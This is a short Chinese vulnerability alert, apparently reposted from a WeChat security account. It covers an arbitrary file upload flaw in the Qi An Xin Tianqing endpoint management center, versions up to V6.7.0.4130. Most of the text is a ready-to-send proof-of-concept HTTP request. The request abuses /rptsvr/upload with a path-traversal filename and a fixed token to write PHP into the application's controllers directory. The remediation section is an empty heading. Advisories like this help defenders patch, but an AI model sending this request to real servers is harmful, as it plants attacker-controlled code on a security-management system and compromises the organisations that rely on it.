-
暂无
-
高危
奇安信天擎终端安全管理系统是注重实效的一体化终端安全解决方案，通过“体系化防御、数字化运营”方法，帮助政企客户准确识别、保护和监管终端，并确保这些终端在任何时候都能可信、安全、合规地访问数据和业务。
-
奇安信天擎管理中心 <= V6.7.0.4130
0x05 POC
POST /rptsvr/upload HTTP/1.1Host: {host}User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36Connection: closeContent-Length: 414Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.5Content-Type: multipart/form-data;boundary=---------------------------55433477442814818502792421460Upgrade-Insecure-Requests: 1-----------------------------55433477442814818502792421460Content-Disposition: form-data; name="uploadfile"; filename="../../../application/api/controllers/TController2.php"Content-Type: text/x-pythonphpinfo();-----------------------------55433477442814818502792421460Content-Disposition: form-data; name="token"skylar_report-----------------------------55433477442814818502792421460
0x06 修复建议
原文始发于微信公众号（浅安安全）：漏洞预警 | 奇安信天擎任意文件上传漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论